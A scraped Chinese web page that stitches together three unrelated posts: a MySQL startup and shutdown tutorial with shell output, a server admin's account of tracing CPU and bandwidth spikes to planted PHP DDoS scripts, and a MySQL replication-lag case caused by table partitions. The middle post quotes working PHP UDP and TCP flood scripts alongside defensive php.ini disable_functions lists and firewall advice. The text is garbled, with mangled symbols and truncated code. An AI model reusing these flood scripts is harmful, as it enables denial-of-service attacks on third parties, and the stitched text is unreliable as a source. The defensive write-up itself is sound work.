MySQL管理_数据库启动与关闭 - xuzhengzhu - 博客园
把握现在,领导未来
posts - 608, comments - 36, trackbacks - 18, articles - 0
　　MySQL数据库服务器通常指的的是mysqld，而命令行mysql则是mysql客户端程序，这两个概念通常容易混淆。通常启动mysql服务器即是启动mysqld进程，mysqld启动后，可以通过mysql连接到mysql服务器。本文主要描述了mysql服务器的几种启动方式以及如何关闭mysql服务器。
1.直接使用mysqld启动
　　mysqld 即是mysql服务器，可以调用该命令直接启动mysql服务器　　mysqld 从配置文件中读取[mysqld]以及[server]选项组的内容，也可以通过直接在命令行跟随参数。　　mysqld服务器读取配置文件的顺序，对于有多个配置文件存在，且同一参数有多个值的情形，以最后一次读取为准。&&&&&&命令行跟随参数具有最高优先级
　　1.1当前mysql服务器运行环境
[root@rhel64a ~]# cat /etc/issue
Red Hat Enterprise Linux Server release 6.4 (Santiago)
1.1当前mysql服务器运行环境
　　1.2查看mysqld启动时的缺省选项
[root@rhel64a ~]# mysqld --print-defaults
mysqld would have been started with the following arguments:
--socket=/tmp/mysql3306.sock --port=3306 --pid-file=/var/lib/mysql/my3306.pid --user=mysql --server-id=3306 --federated
[root@rhel64a ~]# ps -ef|grep mysql
0 14:10 pts/0
00:00:00 grep mysql
1.2查看mysqld启动时的缺省选项
　　1.3查看mysqld启动配置文件的优先级
[root@rhel64a ~]# mysqld --verbose --help |grep -A 1 "Default options"
Default options are read from the following files in the given order:
/etc/my.cnf /etc/mysql/my.cnf /usr/etc/my.cnf ~/.my.cnf
1.3查看mysqld启动配置文件的优先级
　　1.4查看当前的my.cnf配置文件
[root@rhel64a ~]# grep -v ^# /etc/my.cnf|head -n 7
socket = /tmp/mysql3306.sock
port = 3306
pid-file = /var/lib/mysql/my3306.pid
user = mysql
server-id=3306
1.4查看当前的my.cnf配置文件
　　1.5清空当前mysql服务器的错误日志文件
[root@rhel64a ~]# cat /dev/null&/var/lib/mysql/rhel64a.ycdata.net.err
[root@rhel64a ~]# mysqld &
#启动mysqld服务器
[root@rhel64a ~]#
14:20:42 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated.
Please use --explicit_defaults_for_timestamp server option (see documentation for more details).
14:20:42 3480 [Note] InnoDB: Using atomics to ref count buffer pool pages
14:20:42 3480 [Note] InnoDB: The InnoDB memory heap is disabled
14:20:42 3480 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
14:20:42 3480 [Note] InnoDB: Memory barrier is not used
14:20:42 3480 [Note] InnoDB: Compressed tables use zlib 1.2.3
14:20:42 3480 [Note] InnoDB: Using Linux native AIO
14:20:42 3480 [Note] InnoDB: Using CPU crc32 instructions
14:20:42 3480 [Note] InnoDB: Initializing buffer pool, size = 128.0M
14:20:42 3480 [Note] InnoDB: Completed initialization of buffer pool
14:20:42 3480 [Note] InnoDB: Highest supported file format is Barracuda.
14:20:42 3480 [Note] InnoDB: 128 rollback segment(s) are active.
14:20:42 3480 [Note] InnoDB: Waiting for purge to start
14:20:42 3480 [Note] InnoDB: 5.6.21 log sequence number 1626087
14:20:42 3480 [Note] Server hostname (bind-address): '*'; port: 3306
14:20:42 3480 [Note] IPv6 is available.
14:20:42 3480 [Note]
- '::' resolves to '::';
14:20:42 3480 [Note] Server socket created on IP: '::'.
14:20:42 3480 [Note] Event Scheduler: Loaded 0 events
14:20:42 3480 [Note] mysqld: ready for connections.
Version: '5.6.21'
socket: '/tmp/mysql3306.sock'
port: 3306
MySQL Community Server (GPL)l
1.5清空当前mysql服务器的错误日志文件
　　1.6查询mysqld进程
[root@rhel64a ~]# ps -ef|grep mysql|grep -v grep
1 20:25 pts/2
00:00:00 mysqld
[root@rhel64a ~]# mysql -uroot -pxxx -P3306 --protocol=tcp
root@localhost[(none)]& show variables like 'version';
+---------------+--------+
| Variable_name | Value
+---------------+--------+
| 5.6.21 |
+---------------+--------+
1.6查询mysqld进程
2.mysql安全启动(mysqld_safe)
&　　mysqld_safe是一个shell 脚本，会调用mysqld启动mysql服务器，并监听服务器。&　　如果mysqld进程异常终止，mysqld_safe将自动重启mysqld
&　　mysql_safe 从配置文件中读取[mysqld],[server],[mysqld_safe]等选项，为保证向后兼容，mysql_safe还读取[safe_mysql]选项。
　　2.1使用mysqladmin来闭之前启动的mysql服务器
[root@rhel64a ~]# mysqladmin -uroot -pxxx shutdown -S /tmp/mysql3306.sock
[root@rhel64a ~]# ps -ef|grep mysql
0 14:40 pts/4
00:00:00 grep mysql
使用mysqladmin关闭之前启动的mysql服务器
　　2.2使用mysqld_safe启动实例
[root@rhel64a ~]# mysqld_safe --user=mysql &
[root@rhel64a ~]# :40:34 mysqld_safe Logging to '/var/lib/mysql/rhel64a.ycdata.net.err'.
:40:34 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
使用mysqld_safe启动实例
　　2.3&&查看启动后的后台进程
[root@rhel64a ~]# ps -ef|grep mysql|grep -v grep #mysqld的进程为4438，其父进程为4273，即mysqld_safe
0 14:40 pts/4
00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql
0 14:40 pts/4
00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql
--plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/lib/mysql/rhel64a.ycdata.net.err
--pid-file=/var/lib/mysql/my3306.pid --socket=/tmp/mysql3306.sock --port=3306
[root@rhel64a ~]# mysql -uroot -pxxx -P3306 --protocol=tcp
root@localhost[(none)]& system kill -9 4438
#强制kill mysqld进程
root@localhost[(none)]& /usr/bin/mysqld_safe: line 166:
4438 Killed
#下面的nohup为mysql启动进程
nohup /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin
--user=mysql --log-error=/var/lib/mysql/rhel64a.ycdata.net.err --pid-file=/var/lib/mysql/my3306.pid
--socket=/tmp/mysql3306.sock --port=3306 & /dev/null && /var/lib/mysql/rhel64a.ycdata.net.err 2&&1
:42:29 mysqld_safe Number of processes running now: 0
:42:29 mysqld_safe mysqld restarted
#提示该进程已经自动重新启动
2.3查看启动后的后台进程
　　2.4校验mysqld是否已经成功重启
root@localhost[(none)]& system ps -ef|grep mysql|grep -v grep
0 14:40 pts/4
00:00:00 /bin/sh /usr/bin/mysqld_safe --user=mysql
0 14:41 pts/4
00:00:00 mysql -uroot -px x -P3306 --protocol=tcp
0 14:42 pts/4
00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql
--plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/lib/mysql/rhel64a.ycdata.net.err
--pid-file=/var/lib/mysql/my3306.pid --socket=/tmp/mysql3306.sock --port=3306
root@localhost[(none)]& select databases();
ERROR 2013 (HY000): Lost connection to MySQL server during query #由于mysqld进程被杀掉，所以连接已经被断开
root@localhost[(none)]& connect
Connection id:
Current database: *** NONE ***
root@localhost[(none)]& select database();
+------------+
| database() |
+------------+
+------------+
2.4校验mysqld是否已经成功重启
3.mysql(mysql.server)服务方式启动
　　mysql.server为一个shell脚本，他会调用mysqld_safe，该脚本会读取配置文件的[mysql.server]以及[mysqld]选项。　　为向后兼容，也会读取[mysql_server]选项
　　3.1首先使用mysqladmin关闭已存在的mysqld
root@localhost[(none)]& system mysqladmin -uroot -pxxx shutdown -S /tmp/mysql3306.sock
Warning: Using a password on the command line interface can be insecure.
:47:18 mysqld_safe mysqld from pid file /var/lib/mysql/my3306.pid ended
root@localhost[(none)]& exit
mysqld_safe --user=mysql
[root@rhel64a ~]# ls -hltr /etc/init.d/mysql
#/etc/init.d目录下已经配置了mysql启动脚本，在安装时添加
-rwxr-xr-x 1 root root 11K Sep 11 22:18 /etc/init.d/mysql
#如果为rpm方式安装会自动添加该启动脚本
[root@rhel64a ~]# /etc/init.d/mysql --help
#获取mysql启动脚本的使用帮助
Usage: mysql
{start|stop|restart|reload|force-reload|status}
[ MySQL server options ]
3.1首先使用mysqladmin关闭已存在的mysqld
　　3.2启动或关闭mysqld
[root@rhel64a ~]# /etc/init.d/mysql start
#启动mysqld
Starting MySQL.[
[root@rhel64a ~]# /etc/init.d/mysql stop
#停止mysqld
Shutting down MySQL..[
3.2启动或关闭mysqld
　　3.2缺省情况下mysql已经作为一个服务添加到系统目录已经配置了自启动，如下
[root@rhel64a ~]# chkconfig --list |grep mysql
root@localhost[(none)]& system ps -ef|grep mysql |grep -v grep
0 14:49 pts/4
00:00:00 /bin/sh /usr/bin/mysqld_safe
--datadir=/var/lib/mysql --pid-file=/var/lib/mysql/my3306.pid
0 14:49 pts/4
00:00:07 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql
--plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/lib/mysql/rhel64a.ycdata.net.err
--pid-file=/var/lib/mysql/my3306.pid --socket=/tmp/mysql3306.sock --port=3306
0 14:49 pts/4
00:00:00 mysql -uroot -px x -P3306 --protocol=tcp
　　#通过服务的方式启动mysql服务器，mysql.server调用mysqld_safe，然后mysql_safe调用了mysqld&&　 #从上面的方式可知，无论何种启动方式，mysqld最终都会被调用。因为mysqld就是mysql服务器。
4.关闭mysql服务器
　　在前面的演示中，我们已经使用了mysqladmin以及service方式来关闭实例。即可以通过这2种方式来关闭数据库。不再演示。#获取mysqladmin命令行的帮助信息，如下包含shutdown　　[root@rhel64a ~]# mysqladmin --help|grep shutdown |grep server&& 　shutdown&&&&&&&&&&&&& Take server down
5.小结&&a、注意理解mysqld与mysql。mysqld为mysql服务器或者称之为服务器上的实例，用于提供客户端访问。mysql为客户端访问管理工具。&&b、可以通过三种方式启动mysql服务器(mysqld，mysqld_safe，service mysql start)&&c、对于mysqld_safe，service mysql start方式，总是通过调用mysqld_safe来启动mysqld进程，以防止mysqld意外宕掉而提供重启服务。&&d、可以通过mysqladmin shutdown以及service mysql stop来终止mysql服务器解决MySQL 服务器进程 CPU占用100%的问题 - 快资讯
需要开启 JavaScript 才能正常打开页面Do my best!
您现在的位置:
Mysql上传流量巨大，lsass.exe进程占用CPU高居不下（原创）
近期我的几台服务器（安装windows 2003操作系统）相继出现 lsass.exe 占用CPU过高，过了一段时间又会恢复正常，CPU过高直接造成网站打开很慢，周而反复，急煞人也。。
google和百度了很多答案，均不得其解。因为lsass进程用户均为system，说明与病毒无关。
又经过2天的仔细观察，发现每次lsass占用CPU流量过高的时候，流量监控软件显示mysqld-nt.exe进程的上传流量巨大！居然达到了30M - 90M/s，这是一个非常奇怪的现象！第一感觉就是mysql数据库出了问题。
90M/s的上传流量，服务器带宽才10M，这更不能理解。经过仔细辨查，发现90M/S的上传流量只是在本地执行，并不是向外网频繁发数据所致。10M服务器带宽，使用基本稳定在3 - 6M左右。这说明是mysql数据库在执行大量的数据读写，硬盘频繁删除写入数据。
既然是mysql数据库在“作怪”，那就从mysql数据库本身或者php程序上入手。于是又查阅了大量的文章，觉得很可能是用户利用PHP代码DOS造成用光带宽所致，讲白了就是phpshell攻击！
在星外主机管理系统官方站上看到了如下文章：用PHP代码调用sockets,直接用服务器的网络攻击别的IP，常见代码如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time(); print \"Flooded: $ip on port $rand
\"; $max_time = $time+$exec_
for($i=0;$i&65535;$i++){ $out .= \"X\"; } while(1){ $packets++; if(time() & $max_time){
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; ?&
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.
如何快速找到这些站?
你可以打开日志
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件, 里面有类似这样的记录:
06:37:28 58.255.112.112 .247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
最后三项 783 Disabled 30_FreeHost_1 783就是这个站在IIS中的ID 30_FreeHost_1就是所在池
1.按上述找到这个网站后停止它.或停止池,并重启IIS.
2.在IP策略,或防火墙中,禁止所有udp向外发送
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 "特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8" 保存后就行了 ) 3.用信息监控系统中,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
ignore_user_abort = On (注意前面的;号要删除)
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate, 在后面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常.
另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
近期已有新的基于TCP攻击的PHPDDOS代码如下： set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GET['time']; $packets = 64; ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])&&0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
} $max_time = time()+$exec_ while(1){ $packets++; if(time() & $max_time or $exec_time != 69){
} $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 0); } ?& 同样，可以采有以下解决办法：
1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
ignore_user_abort = On (注意前面的;号要删除)
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate, 在后面加上
fsockopen,set_time_limit
但这样会造成很多php程序都不正常.
2.在IP策略中禁止所有外访的TCP数据包，但这样会造成的采集功能无效，也不能用在主控服务器上。
3.在服务器要用关键词tcp:或udp:搜索所有php类文件，找到攻击文件，删除它。
上一篇：下一篇：
个人档案 Profile
Gu Fang江苏 泗洪Do my best!
&&&&&&做最好的自己！
国内美女回眸2性感美女梦?守等待 白纱裙的美女那些走过路过，没有错过的风景
文章分类 Category
(52) (7) (3) (7) (9) (9) (9) (230) (3) (108) (56)
友情链接 links
赞助商链接 Commend意想不到的MySQL复制延迟原因
线上有个MySQL实例，存在严重的复制延迟问题，原因出乎意料。
线上有个MySQL 5.7版本的实例，从服务器延迟了3万多秒，而且延迟看起来好像还在加剧。
Server version: 5.7.18-log MySQL Community Server (GPL)
看下延迟状况
:mysql3306.sock : (none) & show slave statusG Master_Log_File: mysql-bin.013225 Read_Master_Log_Pos:
Relay_Master_Log_File: mysql-bin.013161 Exec_Master_Log_Pos:
Master_UUID: e7c35a95-ffb1-11e6-babb5b90
我们看到，binlog文件落后了64个，相当的夸张。
MySQL 5.7不是已经实现并行复制了吗，怎么还会延迟这么厉害？
先检查系统负载。
看到mysqld进程其实负载还好，不算太高，也不存在严重的SWAP等问题。
再看I/O子系统负载，没看到这方面存在瓶颈（awaitsvctm%util都不高）。
再看mysqld进程的CPU消耗。
虽然mysqld进程的CPU消耗总是超过100%，不过也不算太高。
再检查MySQL复制现场，确认了几个频繁更新的表都有主键，以及必要的索引。相应的DML操作也几乎都是基于主键或唯一索引条件执行的，排除无主键、无合理索引方面的因素。
最后只能祭出perf top神器了。
perf top -p `pidof mysqld`
看到perf top最后的报告是这样的
Samples: 107K of event 'cycles', Event count (approx.):
Overhead Shared Object Symbol 56.19% mysqld [.] bitmap_get_next_set16.18% mysqld [.] build_template_field4.61% mysqld [.] ha_innopart::try_semi_consistent_read 4.44% mysqld [.] dict_index_copy_types 4.16% libc-2.12.so [.] __memset_sse2 2.92% mysqld [.] ha_innobase::build_template
我们看到， bitmap_get_next_set这个函数调用占到了 56.19%，非常高，其次是 build_template_field函数，占了 16.18%。
经过检查MySQL源码并请教MySQL内核开发专家，最后确认这两个函数跟启用表分区有关系。
查询下当前实例有多少个表分区：
:mysql3306.sock : (none) & select count(*) from partitions where partition_+----------+| count(*) |+----------+| 32128 |+----------+1 row in set (11.92 sec)
额滴神啊，竟然有3万多个表分区，难怪上面那两个函数调用那么高。
这个业务数据库几个大表采用每天一个分区方案，而且把直到当年年底所有分区也都给提前创建好了，所以才会有这么多。
不过，虽然有这么多表分区，在master服务器上却不存在这个瓶颈，看起来是在主从复制以及大量表分区的综合因素下才有这个瓶颈，最终导致主从复制延迟越来越严重。
知道问题所在，解决起来就简单了。把到下个月底前用不到的表分区全部删除，之后约只剩下1.6万个分区。重启slave线程，问题解决，主从复制延迟很快就消失了。
延伸阅读：
不再加原创
喜欢就转发
打赏可勾搭
靠谱好茶&在线培训，都在〖老叶茶馆〗http://yejinrong.com
责任编辑：
声明：该文观点仅代表作者本人，搜狐号系信息发布平台，搜狐仅提供信息存储空间服务。
今日搜狐热点}